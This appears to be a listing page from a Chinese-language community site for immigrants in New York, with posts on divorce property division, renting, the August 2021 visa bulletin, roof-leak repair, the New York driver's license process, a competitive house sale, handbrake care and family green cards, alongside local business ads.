在实施公平财产法律的州,男女离婚时分割家产按照公平分割财产法来执行,它不是离婚男女一半对一半来分家产,而是讲求公平。按照公平分割法分家产,主要考虑的因素有:双方的年龄、身体状况、教育程度、是否为残疾人、双方的收入、离婚后未来赚钱的能力、离婚后获得资产的能力、被抚养儿童的特殊需要、对家庭非金钱类的贡献、结婚时间长短、婚前对家庭财产的贡献、非夫妻共同拥有的财产、家庭资产的增值、离婚的原因、分割财产对纳税上的影响等。

个人财产如何处理

婚前各自财产和婚后个人财产如何处理的问题。原则上结婚前的个人独立财产、婚前个人资产所产生的收入、租金、利息、红利、结婚前已经获得的退休金、在婚姻期间个人收到的礼物、个人遗产的继承、人体伤害的赔偿等,仍属于个人财产,在离婚时一方可以单方保留,不能按照“共同财产”来分。但在有些特殊情况下,这些属于个人的资产也可能被裁定可以分割给另一方。例如,配偶由于年龄、健康和伤残等原因无法工作,婚姻中的债务超过家庭资产

怎样保护父母赠予的财产

1. 签署婚前协议书

婚前协议书是双方在婚前订定协议婚后如何处理各自的财产及收入,例如在加州,目的是不使用加州家庭法订立的夫妇 “共有财产 “(community property)制度。

2. 父母赠予的财产的产权

1)必须与婚后的财产完全分开并千万不要在产权上加对方的名字。

2)如父母赠予房产,产权证(deed)必须清楚写明是赠予。若父母提供金钱购买房产,必须保存所有证据,证明金钱是来自父母帐户。

3)假若房产有贷款,除非支付贷款来自父母或自己婚前的存款,否则若用婚后的收入来支付,婚后的收入属共有财产(community property),除非有婚前协议书证明婚后的收入属自己个人财产,否者对方对房产就有一定的共同权益(community interest)了。

4)若赠予的房产属收租物业,应另设独立帐户存入租金及用此帐户支付有关物业的开支。

5)若父母赠与属非房产,例如汽车,金钱,珠宝等,以上建议亦同样适用。属于个人的珠宝不要放在对方或共同的保险箱。例如此前的一名客户把自己的珠宝放在对方的保险箱,结果离婚时就追不回来了。

6)汽车的属权(pink slip)不应加对方的名字,汽车的保险尽可能不要放在共同保险单内。汽车若要分期付款,不要用婚后的收入支付。

注:本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。


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2021-04-21 / by / in , ,
在美国租房 填写房屋租赁合同时 这12件事情不可少

文|雨荷

对于所有人来说,搬进新环境可能是一个非常激动人心的时刻。但是在租用房屋之前,应该考虑很多事情,甚至该公寓、房屋可能被视为非法公寓。因此,在您同意租公寓之前,对公寓进行深入检查非常重要。

如果未使用房屋租赁检查报告,则房东可能不记得入住之前套房中存在哪些损坏,这可能导致房东向您收取您未造成的损坏,并可能在您扣留部分押金之后您搬出去支付维修费用。

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房屋租赁 示意图。

您需要检查以下12件事情。

1.记录每个细节

当您首次进入住宅出租物业时,通常首先要注意的是地板,墙壁和地毯。墙壁上通常有前任承租人的图片或艺术品上的一些小孔(前提是房东在前任承租人搬出后没有重新粉刷或固定墙壁),或者硬木地板上有一些小破口,您想确保在检查报告中记录了更明显的损坏(例如墙壁上的大洞或地毯上明显的污渍)(通常房东会拍照),以表明这些损坏是前任房客的过错。此外,您可能需要自己拍摄损害赔偿图片以作记录。

2.检查手机接收情况

在我们的生活中手机是非常重要的。很多人依靠它来完成从工作到与朋友和家人进行交流,甚至是日常工作等诸多事情。如果由于手机信号不良而几乎无法在新公寓中使用手机,那就是个大问题。当您租房时,请确保尝试在公寓里的不同区域使用电话,以确保接收的信号是否符合您的标准。

Wi-Fi对我们所有人来说也非常重要。尽管有些房东在租金中包括水和暖气等,也会有房东可能会提供诸如电缆和Wi-Fi之类的,因此请不要忘记询问Wi-Fi情况。

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Wi-Fi 示意图。

3.检查灯具开关以确保正常工作

检查每个房间的灯以确保它们能正常工作,如果电灯开关无法正常工作,或者需要更换灯具中的灯泡,那么现在是个好时机。如果您在未检查这些内容的情况下搬进来,但发现是坏的,会感到非常郁闷。

4.检查电源插座

我们每天使用的大量物品都需要电源插座才能正常工作,例如电话充电器,厨房电器,电视等。访问公寓时,您应该带些小东西插入所有可以找到的插座,以确保都能正常工作。

想不出要带给您的小东西进行测试?前往当地的五金店并购买电插座壁式插头交流电源插座接地测试仪。您可以在5-10美元左右找到一个,它将检查公寓中每个单独插座的电路状态。

5.测试电器

需要测试公寓里的电器,炉子,洗碗机,烤箱,微波炉和冰箱等东西几乎是我们每天都需要和使用的东西。仔细检查这些设备的,并确保它们能正常使用。如果有的电器有问题,则需要与房东确定由谁负责保养和维修达成协议。

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厨房 示意图。

6.检查浴室,确保马桶和水龙头正常工作

当您与房东一起浏览出租套房时,您可能不会考虑冲洗马桶或打开浴室的水龙头,尤其是在视觉上没有问题的情况下(例如马桶上的裂缝或漏掉水龙头上的手柄),但最好检查一下它们以确保管道能够正常工作。

7.检查害虫

在看房是要检查一下,房间是否有臭虫或蟑螂和啮齿动物之类的害虫,这是大的问题。害虫残留在您的公寓中是不卫生的,要查看橱柜的内部或顶部,是否有任何粪便。同样,检查墙壁和踢脚板是否有大的裂缝或孔洞。如果当前存在害虫问题,则应在租约中注明,因为房东应披露有关公寓的重要信息,例如害虫问题。但是要积极主动,并提出具体问题。

8.检查安全设备,例如烟雾探测器,是否处于正常工作状态。

如果您在租赁物业中居住时遇到紧急情况,您希望确信烟雾报警器和一氧化碳报警器等安全设备能够正常工作,从而可以提醒您注意危险。如果您注意到烟雾探测器没有点亮(如指示灯亮或设备上的灯不亮),则应要求房东在搬入之前确保这些设备正在工作。

9.检查恒温器和HVAC(供暖,通风和空调)系统

出租单元中的恒温器应显示与您感觉的温度相适应的温度,因此,如果您要出租的公寓中明显冷,恒温器显示屏将显示该温度为室温,询问房东HVAC是否按预期工作。

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供暖系统 示意图。

10.注意一天中不同时间的停车场。

如果您住在大楼公寓中,公寓中可能拥有100多人。这使得停车场非常重要。如果分配了停车位,那会更好一些,但是如果没有分配了停车位,您需要知道一些规则。

11.邻居交谈。

如果方便,尝试与居住在该综合大楼中的其他人进行交谈。他们已经在那里住了一段时间,因此,知道那里的生活是好是坏。向他们询问一些问题,他们可能会对维护人员以及房东在过去的几个月和几年中的情况发表评论。另一个提示是找出附近是否有可以与之交谈的公寓协会小组。

12.租赁协议

在进入公寓之前检查一下所签的租赁协议上的所有信息从头到尾要仔细阅读,并在签字之前提出您的任何疑问。

包括房东的转租政策。大多数租赁都需要房东的同意才能转租。因此,如果您打算租一间公寓,并可以在夏季租借的几个月内转租出去,那么您事先要与房东沟通好,然后再签署租约。其他事情可能包括公寓的翻新,搬出后何时可以收回安全押金,租赁的政策以及病虫害防治责任。

 

 

2021-04-21 / by / in , , , ,
最新绿卡排期 2021年8月已发布 | 职业移民 亲属移民 递件日期 审批日期

美国国务院已发布最新2021年8月份的美国移民绿卡排期。如何一次看懂美国国务院发布的移民排期签证公告?8月份的绿卡排期进度如何,相比之前有哪些变动呢?

职业移民“绿卡排期” 港澳台申请人与之前相比没有变化, 中国大陆出生申请人职业移民审批日期EB-2和EB-3分别向前推进121天和7天,EB-1依然无需排期。

而在“递交日期”排期方面,港澳台申请人的亲属移民有小幅推进;中国大陆出生申请人的亲属移民递件申请日期与上月相比没有变化;至于职业移民的递件排期,港澳台与中国大陆出生申请人与上月相比都没有变化。

下面,我们看一下美国国务院公布的2021年8月签证排期表:

20218月绿卡批准排期

亲属移民

亲属移民的“绿卡最后批准排期”(Application Final Action Dates,简称“绿卡批准排期”),港澳台及中国大陆出生申请人的具体排期变化如下:

F−1类:审批日推进7天;

F−2A类:无变化;

F−2B类:审批日前进7天;

F−3类:审批日前进7天;

F−4类:审批日前进21天。

 

职业移民

港澳台申请人所有类别都没有变更。

中国大陆出生申请人EB-2和EB-3有推进:

EB-1排期:无变化;

EB-2排期:中国大陆出生,审批日期前进121天;

EB-3排期:中国大陆出生,审批日期前进7天;

EB-4排期:无变化;

EB-5排期投资移民直投:中国大陆出生,审批日期前进7天;

EB-5排期投资移民区域中心:中国大陆出生,8月份无安排。

20218 递件排期

美国国务院签证公告自2015年10月起实行双轨制,在“绿卡批准排期”之外增加了一项“递交申请排期”(Dates for Filing Application,简称“递件排期”)。港澳台及中国大陆出生申请人的具体排期变化如下:

亲属移民

中国大陆出生亲属移民递件日期与上月相比,没有前进。

港澳台变化如下:

F1排期:递件日期前进75天;

F2-A排期:递件日期前进31天;

F2-B排期:递件日期前进38天;

F3排期:递件日期前进21天;

F4排期:递件日期无变化;

职业移民

港澳台申请人,所有类别递件排期都没有变更。

中国大陆出生申请人EB-1和EB-4递件不需要排期;EB-2,EB-3,EB-5排期与上月相比没有变化。

 

美国国务院公布的排期表,从2015年10月开始采纳的双表格的形式:

A表为移民签证名额的实际排期(Application Final Action Dates),也称为“移民排期”。

B表显示什么时候各移民签证类别的调整身份申请(I-485)可以递交(Dates for Filing Applications),也称为“递件排期”。但能否根据B表日期递交申请则取决于移民局。查看职业移民递件日期表格是否开启,需要前往美国移民局USCIS网站查询。

根据移民局网页连结的显示,2021年8月签证排期表中家庭移民申请需要根据B表的日期递交移民调整身份的申请,而职业移民申请则必须根据A表的日期递交移民调整身份的申请。

中国大陆亲属移民第2A类优先由于没有排期,则可以根据A表递交调整身份的申请。等待排期的家庭移民申请人应当仔细核对自己移民签证类别的可递交申请的日期(即B表的日期)以便尽早递交调整身份申请。中国大陆职业移民要按照A表的实际排期日期递交,而中国大陆职业移民一类优先由于没有排期可以随时递交调整身份的申请。

查看移民排期

想到美国国务院官网上查看绿卡排期进度,可以进入美国国务院领事事务署官方网站签证公告(移民排期)专页。页面会显示当月(Current Visa Bulletin)和下月(Upcoming Visa Bulletin)的绿卡排期。

根据需要点击进入想要查看的月份,就能看到具体的排期信息了。

资料来源:美国国务院领事事务署官方网站签证公告(移民排期)专页

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-21 / by / in , ,
在美国屋顶漏水 929-513-8391 教你如何查找根源和屋顶漏水修复 (纽约修屋顶公司)

文|雨荷

屋顶漏水的最明显后果是损坏的天花板托梁,墙框,甚至装饰板和外部装饰物都可能成为水浸的受害者。长期的屋顶泄漏会导致木材变质并变薄,腐烂的屋顶框架会引起严重的问题,需要昂贵的木框架维修。屋顶漏水绝对不能掉以轻心。

屋顶漏水该怎么办?如果您房子向保险公司提出房屋保险索赔时,需要拍摄照片和记录所有内容的重要性。

纽约专业华人修屋顶服务

929-513-8391

(24小时,随接电话,如果在忙工,会立即回复)

 

屋顶漏水维修指南简介

如果屋顶漏水,可能使您第一观察到的就是天花板上或墙壁上有水渍。修复轻微的屋顶泄漏比较简单,但查找漏水点是很难的部分。在开始查找泄漏之前,如果最近经历了重大天气事件或龙卷风,雷暴甚至飓风等自然灾害,则检查屋顶是否有泄漏的迹象尤为重要。即使是最小的冰雹石也会造成屋顶冰雹损坏和屋顶漏水。

检查屋顶漏水 示意图。

屋顶泄漏的根源。

最难发现的就是屋顶漏水源,因为您可以看到泄漏的斑点(水斑或污渍)通常并不特别靠近泄漏点。毕竟,水会从进入屋顶的位置向下流,因此实际的孔或泄漏在屋顶平面上可能会更高。例如,屋顶漏水经常从天花板的顶部向下流,直到有水可以滴落的地方,它可能是一个相当大的漏水屋顶。

屋顶专家会建议您在寻找屋顶泄漏点时通常是通过烟囱,天窗,通风口或沿着不同平面的交点。如果您没有阁楼通道或拱形天花板,则可能需要上屋顶或寻找其他检查方法。这可能很棘手,如果您不确定自己的能力,则可能需要为此雇用专业人员。在您所在地区找到专业的屋顶检漏公司,这样也可以帮助您节省时间和金钱。

屋顶漏水有哪些不同类型。

屋顶泄漏的类型几乎与屋顶及其相关的自然灾害或事故的类型一样多,但是一些更常见的泄漏发生在房屋比较薄弱的地方。其中包括通风管,屋顶通风口,烟囱,屋顶山谷,钉子周围,天窗周围以及其它连接处;屋顶板损坏,钉子松动或丢失以及冰堵也可能导致屋顶泄漏。

如何从内部固定漏水的屋顶?

如果您没有通道或无法固定屋顶外部的设备,则可以使用多种方法从内部进行固定。

一旦发现屋顶泄漏的根源,最简单的修补方法就是使用胶合板,多余的木瓦和一些屋顶柏油进行临时修补。

房屋维修 示意图。

如果您没有房屋维修的经验,那么您可到当地的房屋装修或五金店可以帮助您找到合适的材料,包括屋顶泄漏修复密封胶。

如果您已找到泄漏点,并且有一些屋顶焦油,胶合板或备用带状瓦,则可以制作一个临时补丁。使用油灰刀或类似工具从屋顶内部将屋面焦油散布在泄漏处,然后将胶合板或木瓦放在焦油上,并在补片的边缘更多地散布以将其固定在适当的位置。

自己做的屋顶泄漏维修。

DIY屋顶泄漏维修听起来可能令人生畏,但修补或修补较小的屋顶泄漏是自己可以做的事情,这些需要一点知识和一些基本工具和材料。把看起来已经剥落钉子或螺丝钉更换。密封屋顶周围接缝(例如通风口和烟囱周围的接缝)的加强筋,也很容易自己更换。如果它生锈了或没有正确地钉在适当的位置,则可以撬起带状疱疹,并用钉子固定在适当的位置,然后在其下面涂上镀锌金属。可以在当地的家居装饰商店购买耗材。

另一个常见的问题是墙壁和天窗的泄漏,这通常是旧的或损坏的填缝物造成的,并且很容易更换!

用油灰刀在损坏的区域附近挖洞,当发现斑点看起来腐烂或腐蚀时,请添加更多的填缝剂以密封该区域,直到您可以让专家检查出来为止。承包商应检查墙壁或天窗的广泛损坏。如果要自行修复屋顶泄漏,填缝不是解决大量泄漏的长期解决方案。

 

2021-04-20 / by / in , , , , , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(下)

文|交通小伙伴

要考取纽约驾照,必须先通过笔试,拿到学习驾照(Learner Permit),完成练车、驾驶训练课程,接下来才能进行路考,通过后便能取得纽约驾照。纽约考驾照相关流程是什么?又有哪些需要注意的地方呢?以下为你提供路考资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取纽约驾照流程:
准备申请材料 → 笔试 → 驾驶训练课程 → 路考取得驾照

要考取纽约驾照,可以在线预约路考或通过电话拨打1-518-402-2100进行预约,并选择路考地点。

纽约驾照:路考

预约路考

通过驾驶训练课程、充分练车后,接着就可以预约路考啦!

你可以在线预约路考(可点击链接)或通过电话拨打1-518-402-2100进行预约,并选择路考地点。

通常预约等待时间大概要3周至5周,但如果是在夏季和学生放假的高峰期,可能要等10周左右。一般路考时间都是在工作日,只有少部分在周六。

如果要更改考试时间,可以先搜寻新的预约时间,并在预约新的日期前,取消原本的预约,才能进行新的预约。
注:不能同时预约多个时间。

预约时间最好不要选在下午,因为下午1时至3时,人的注意力通常不太好,下午2时至3时,则是学校放学的时间,许多家长会开车接送小孩,路上的车会变多,容易造成紧张而出现失误或违规。

参加路考

最好提前30分钟到达考试现场,如果迟到的话,可能会被取消本次考试,必须重新预约才能再次报考。

如果遇到恶劣天气或道路施工,考试时间可能会被取消或延期,在出门参加路考前,可以先查询DMV相关网页(可点击链接)或通过电话拨打1-518-402-2100查询。

要考取纽约驾照,路考時保持平常心,尽可能完成考官的指示。

疫情期間 路考当天,需要准备、注意什么?

1. 有效的纽约州学习驾照。
2. 近视者需配戴眼镜或隐形眼镜。
3. 证前课程结业证书(MV-278)或驾驶教育课程结业证书(MV-285)正本。
注:通过在线课程完成5小时训练课程者,不需携带结业证书。
4. 必须由年满21岁、持有正式驾照者的陪同之下,参加路考。
5. 路考使用的车辆必须有效注册、年检,可正常运转,保持内装整洁,车辆必须有安全带,前座乘客车门能从车内打开。
注:记得检查喇叭、雨刷、大灯、煞车灯、转向灯都能正常运作。
6. 因疫情关系,报考人、陪考者需戴上面罩,包括布、外科口罩、N95口罩等。并尽可能与其他人保持6英尺的距离。到达考试现场后,需用消毒湿巾对副驾驶座进行消毒。
7. 考试前,报考人、陪考者需测量体温,如果有一人体温超过华氏100度、出现COVID-19症状,或是最近曾和感染COVID-19的人密切接触,本次考试将被取消。

路考的项目包括起步、转弯、变换车道、U型转弯、平行泊车等。考官会根据应考人出现的失误或违规,给予相应的扣分,扣分低于30分才算通过。

出发前,可以告诉考官你不是native speaker,请他下指示时说慢一点,如果没有听清楚考官说的,务必再次提问。一般而言,考官不会特别刁难。

*路考时,应注意什么?
1. 转头幅度一定要大,如果需要看左右后照镜,就需要转头左右看。
2. 行驶速度不要太快或太慢,切记绝对不可以超速,尽量用速限低一点的速度前进。
3. 遇到行人,一定要礼让。
4. 看到停车标志(STOP),一定要停下(车速为0),但不可急踩煞车。
5. 在没有划黄线的双向路,必须靠右行驶。
6. 遇到黄灯应减速停车,除非车头已经通过十字路口,否则不要抢黄灯通过。
7. 遇到红灯停车时,要停在停止线前,尽量不要压到白线。
8. 最重要的是,不要紧张,保持平常心,尽可能完成考官的指示,不管该项完成度如何,尽力完成下一个指示。

如果这次没有通过路考,再上网预约一次即可。DMV规定,学习驾照的申请费中,包含前两次路考的费用(10美元),因此第二次路考不用额外付费;但第三次开始,需额外支付10美元(可以考两次路考)。

通过纽约驾照路考后,考官会给你一张临时驾照,你就可以开车上路啦!

纽约驾照:取得驾照

通过路考后,考官会给你一张临时驾照,你就可以开车上路啦!记得将临时驾照和学习驾照放在一起。大约2周左右,就能收到正式驾照。

如果要查询驾照邮寄状态,可以在DMV相关网页(可点击链接)进行查询。

第一驾校(718)-460-1388

法拉盛 汽车驾驶学校718-359-1963

 

2021-04-20 / by / in , , , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(中)

文|交通小伙伴

要考取纽约驾照,首先必须先通过笔试,拿到学习驾照(Learner Permit),才能进行下一步──练车、接受驾驶训练课程,随后再进行路考,通过后便能取得纽约驾照。纽约考驾照相关流程是什么?又有哪些需要注意的地方呢?以下为你提供驾驶训练课程资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取驾照流程:
准备申请材料 → 笔试 → 驾驶训练课程 → 路考 → 取得驾照

要考取纽约驾照,至少要练车超过50小时,其中包括至少15小时的夜间驾驶训练。

纽约驾照:驾驶训练-练车

如果没有报名驾驶学校,根据DMV规定,学习驾照(Learner Permit)持有人不得独自上路,必须在年满21岁、持有正式驾照者的陪同之下,才可以开车。

在预约路考之前,至少要练车超过50小时,其中包括至少15小时的夜间驾驶训练。DMV建议,在中度到重度交通流量道路,至少练车10小时。

虽然路考是在平面道路进行,但DMV建议,学习驾照持有人也应该在高速公路和其它类型的公路上练车。

此外,学习驾照持有人不能到以下区域练车:
1. DMV路考区域。
2. 纽约市公园内的街道。
3. 罗伯特肯尼迪大桥和隧道管理局(Triborough Bridge and Tunnel Authority, TBTA)管辖的所有桥梁或隧道。
4. 威彻斯特县(Westchester County):Cross County Parkway、Hutchinson River Parkway、Saw Mill River Parkway、Taconic State Parkway。

要考取纽约驾照,学习驾照持有人年满18岁,其5小时训练课程可以选择在线教学。

纽约驾照:驾驶训练-上课

除了练车之外,学习驾照持有人还必须接受证前课程(Pre-Licensing Course, PLC)(也就是俗称的5小时训练课程)或是驾驶教育课程(Driver Education Course, DEC)(48小时的课程)。

5小时训练课程,在高中、大学和驾驶学校,以及合作教育服务委员会BOCES)皆有开设,可以选择面授学习在线教学

要知道你所在地区哪里有开设5小时训练课程,可至DMV相关网页(可点击链接)进行查询。

借由此课程,可以学习基本的道路规则、安全驾驶原则、防御性驾驶技能,以及其它影响驾驶的因素。

PLC、DEC两者的区别是:
PLC:5小时课程,完成课程后取得结业证书(MV-278),有效期1年。
DEC:24小时理论课程、24小时实操演示,完成课程后取得结业证书(MV-285),有效期2年。
注:拿到MV-278或MV-285都可以预约路考,很明显的,PLC比较省时

5小时训练课程──在线教学

学习驾照持有人需年满18岁,才能选择在线教学,此在线课程是由DMV认可的供应商(可点击链接),通过「证前课程网际网路试点计划」所提供。在线教学和面授学习的课程内容相同。

在线课程分9个学习模块,每个模块最后会有简单的测验。每个测验必须答对至少70%,才能通过此课程。如果没有通过测验,每个测验最多可以尝试3次。
注:注册在线课程后的30天内,必须完成5小时训练课程。

完成在线课程后,不会收到纸质的结业证书。在线课程供应商会用电子邮件向DMV报告,大约需要24~48小时,DMV的驾驶员记录将会显示:已完成5小时训练课程。

第一驾校(718)-460-1388

法拉盛 汽车驾驶学校718-359-1963

2021-04-19 / by / in , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(上)

文|交通小伙伴

以全美而言,纽约市的公交已经算是最完善了!在纽约市开车、养车和停车,开销也挺大,但出了纽约市,还是得自行开车才方便。这时,你就需要考取纽约驾照,在美国,驾照不仅可当身分证,也能用在搭国内班机、住饭店、银行开户等。纽约驾照号称全美最难考,在纽约考驾照流程是什么?又有哪些需要注意的地方呢?以下为你提供申请、笔试资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取驾照流程:

准备申请材料笔试 → 驾驶训练课程, → 路考 → 取得驾照

纽约驾照:准备申请材料

驾照申请表格(MV-44)。有中文版英文版(可点击链接下载、填写、打印),也可以到DMV索取、填写。

社会安全码(SSN)。如果没有社会安全码,还是有两种方法可以申请考驾照。

  1. 向DMV提交「表明无社会安全码的宣誓书」(NSS-1A),有中文版英文版(可点击链接下载、填写、打印)。如果通过邮寄提交,必须经一名认证公证人见证;如果亲自到DMV提交,必须让DMV人员见证下签署。
  2. 到社会安全局(SSA)申请一封无资格获得社会安全码的信(Ineligibility Letter)(有效期为30天)。

身分证明文件和纽约州居住证明。每种材料有不同分数,须提供相加至少6分的证明文件。详细材料可参考DMV官网(可点击链接)或到当地DMV免费领取《纽约州驾驶员手册》。

要考取纽约驾照,需提供相加至少6分的证明文件,有效的外国护照占3分。

常见的文件如下:

4分:有效美国护照。

3分:有效外国护照、公民证书或入籍证书、绿卡(I-551)。

2分:社会安全卡或Ineligibility Letter。

1分:美国信用卡、医疗保险卡、含有名字和住址的美国银行账单(前往DMV之前,120天内签发)、含有名字和住址的公用事业账单(例如水、电、手机等,前往DMV之前,1年内签发)或租屋合同(前往DMV之前,1年内签发)。

注:同一分数的证明,只能算一件,分数不能相加,例如3家不同银行的账单,只算1分。

美国许多交通法规和国内不同,要认真阅读《纽约州驾驶员手册》。

阅读《纽约州驾驶员手册》

虽然纽约州的笔试可以选择中文,但语法不易阅读,网上的中文题库也很久没有更新。建议小伙伴们直接准备英文笔试,DMV官网的《纽约州驾驶员手册》(可点击链接)分成12章节,也有提供测验。笔试题目也都是从这些测验中出的。

小编还是建议大家要认真阅读《纽约州驾驶员手册》,毕竟美国许多交通法规和国内不同。为了避免意外发生、被警察开罚单,务必详读后再上路!

纽约驾照筆試內容共20題選擇題,答對至少14題,才算合格。

纽约驾照:预约、前往DMV笔试

受疫情影响,虽然大多数DMV办事处已重新开放,但目前采取预约制

部分DMV办事处没有提供笔试,在出发之前,最好先查询DMV各办事处(可点击链接)资讯。

注:因疫情关系,前往DMV须戴上面罩,包括布、外科口罩、N95口罩等。并尽可能与其他人保持6英尺的距离。

带上考照所需申请材料前往DMV,并进行视力测验,若有眼科医师提供的「视力测试报告」(Vision Test Report)(MV-619(可点击链接下载、填写、打印),则可以免测。

笔试前,DMV人员会在现场帮你拍大头照,这将是未来驾照上的照片,建议出发前整理好仪容。

笔试分为机考或笔考,笔试内容共20题选择题,答对至少14题(其中4题关于路标的问题,须答对至少2题),才算合格。

注:因疫情关系,纽约州的普通驾照(D类)笔试和摩托车驾照(M类)笔试,全面开放网考,允许民众在家考试。

你可以在DMV建立个人帐号,上传所需的文件、选择驾照类型,随即可收到附有网考连结的电子邮件。

网考共50题选择题,约30分至1小时可完成考试,答对至少35题才算合格。

通过网考笔试的申请者,会收到电子邮件。必须先预约后,才能前往DMV办公室拍照,并完成申请流程。

缴纳费用为64.25~120美元,视申请者的年龄、驾照类型和居住地点而定。一般申请普通驾照(D类)的人居多,21岁以上的申请人,费用为64.25~77.5美元。可以用现金、信用卡、借记卡、支票或汇票支付。

随后即可拿到一张临时的学习驾照(Learner Permit),大约2周内就能收到正式的学习驾照。

如果笔试没通过,可以再预约时间补考。第2次笔试毋须收费,第3次笔试则需额外缴费。

学习驾照的有效期限,根据申请者的年龄和其它情况而定,一般不超过5年。

学习驾照不能延期,小伙伴们记得在过期之前要参加路考,否则必须重新参加、通过笔试,才能再拿到学习驾照。 (下集待续)

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

第一驾校(718)-460-1388

法拉盛 汽车驾驶学校718-359-1963

2021-04-19 / by / in , , , , , ,
为何76个全现金买家争相出价 买这个破房子?

全美房地产市场,在疫情之后延烧不断​​,而且因为库存量一直少得可怜,但需求量却不断涌进,造成价格攀升。另外股市上扬、政府印钞票、美联储量化宽松政策等等因素,致使房市得不到冷却。以下就来分享一个美东房地产的案例:

今年三月在华盛顿DC的郊区Silver Spring(银泉),一个上市房收到了88个报价,76个是全现金! Ellen Coleman是卖方经纪人,在周四上市,周日晚上她就陆续接到潮水般的offers,而且有15个买家根本没有看到房子。

美东房产:房产位在华盛顿DC郊区的Silver Spring,需要大整修的厨房。 (bright MLS)

从街景来看,房产并没有特别之处。 (google街景)

这个房产是四卧房,1800平方呎,开价27万5,卖出46万,比要价多出近70%。 Coleman说,得标者是一个投资者,出价不是最高,但提供全现金,而且没有附带意外退出条款,有做好该有的文书工作。 Coleman也说,通常她的上市房可以收到15报价,但这次是在她15年的职业生涯从没有发生过的事情,库存量实在太少了。

从街景来看,这个美东房产所在地社区干净整洁。 (google街景)

为何收到这么多报价?从这个房子的所在地分析,第一个库存少,第二个她的location算不错,靠近DC,环境清幽整洁,周边的房产根据zillow网站的评估,都有六十几万的价位,而且面积都比她小,所以这位卖方经纪等于是用超低开价来钓鱼,没料到竟钓出88尾来抢食,当然这个房产的屋况也很差,所以经纪人也知道,买方势必要大整修一番,甚至推倒重建,所以开价低也是合理的。

这处Silver Spring的房产所在社区都是六十多万的估价。 (Zillow)

预估不久后这栋房子就会以全新面貌重新上市,有兴趣的人不妨可以等候看看,至于价格势必会超过七十万,也很可能到八十多万,要有心理准备。

资料来源:美国地产热点视频:第14集(版权获作者同意)

纽约房地产、美东房地产交易 欢迎洽询

纽约地产929-216-8888 /纽约房地产/法拉盛房地产/纽约房价/纽约地产经纪/纽约房地产经纪/法拉盛房地产经纪/纽约房产买卖/纽约房产买卖/纽约房屋买卖/纽约房产中介/纽约房产经纪人

纽约华人国际地产 电话:917-580-2382

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纽约经纬地产公司 王小茜 电话:929-888-2790

2021-04-19 / by / in , ,
这样的手刹习惯伤车很严重 五个小技巧呵护你的爱车
文|无疆行者

手刹在日常用车时使用频率非常高,只要开车出门就会用到手刹。小伙伴们爱护你的座驾,就要养成正确良好的使用手刹的习惯喔~

有些急性子的车主,车还没停稳呢,手刹就拉起来了。也有人呆头呆脑的,手刹还没有放下来就开始行车了,这样的神操作对手刹系统的损害非常大。今天行者总结了几条有关机械手刹和电子手刹使用需要注意的事项,希望能对您有所帮助。

座驾是机械手刹的朋友需要注意:

1、不要长时间坡道拉手刹驻车

(Erik Mclean/Pexels)

长时间坡道停车,光靠手刹驻车会加速手刹拉线的磨损。正确做法是停车后先用手刹驻车,然后在朝向坡底一侧车轮的前沿放个砖头之类的固定,释放手刹让受力转移到车轮上再拉起手刹。

2、不能拉的太紧

机械手刹在日常使用中切记不要拉的太紧,因为金属拉线过度拉伸或者长时间保持拉伸会加速其变形老化,导致手刹变松或者拉线断裂。正确的做法是,拉起手刹直到后轮抱死再向上提1、2格,保证不溜车就行。

3、冰雪天后和冬天洗车后不要拉手刹

冬季的冰雪路面行使后,拉手刹可能会被积雪冻住,造成车辆无法行驶。另外,冬天洗车时也要注意不要拉手刹,可以用挡位或者砖头代替手刹驻车。

4、紧急情况下,手刹的使用方法

如果车子在高速行驶的时候发现刹车失灵,这时千万不要直接拉手刹,这样很容易导致后轮抱死,刹车的钢丝断裂,还可能会发生车辆侧滑甚至侧翻。

正确的做法是,尽量保持镇定,松开油门,降档,当车速降到较为平稳的状态,车速明显下降的时候,再用多次拉手刹的方法把车子停下。

电子手刹需要注意的事情

对于自动挡同时又配有电子手刹的车型来说,在带有坡度的地面上停车时,一定要先使用手刹将车固定住后,再将变速箱挂入P挡,减轻变速箱的负担,防止P挡琐止闩卡住导致无法正常解锁。

另外,电子手刹使用的是电子卷线器,其在收紧和释放过程中要有相应时间,一般0.5-1秒,比机械的略慢些。虽然只有1秒钟,但是如果在手刹还没有完全释放的情况下,脚快的车主就把油门踩下去的话,这样也会造成手刹系统的提前老化、损伤。

需要注意,假如车子突然没电了、电瓶烧了或者短路了,那么电子手刹也将随之失灵。


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2021-04-19 / by / in , , ,
你是美国公民吗?想帮亲属申请绿卡看这里详解(下)

文|懂你的小伙伴

亲属申请绿卡接续上篇,当你完成DS-260后,你和与你的家庭成员(移民者),每个人都必须收集支援签证申请所需的民事档案。

亲属移民 准备民事档案(Civil Documents)

您的民事档案必须由您所在的国家/地区的官方发行机构签发,这部分请参考官网上的Document Finder 以了解每个国家/地区的民事文件要求。

请注意,所有非以英文书写的档案,都必须附有经过认证的翻译,翻译必须包含翻译者签名的宣告,宣告:翻译是准确的,并且译者有能力翻译。

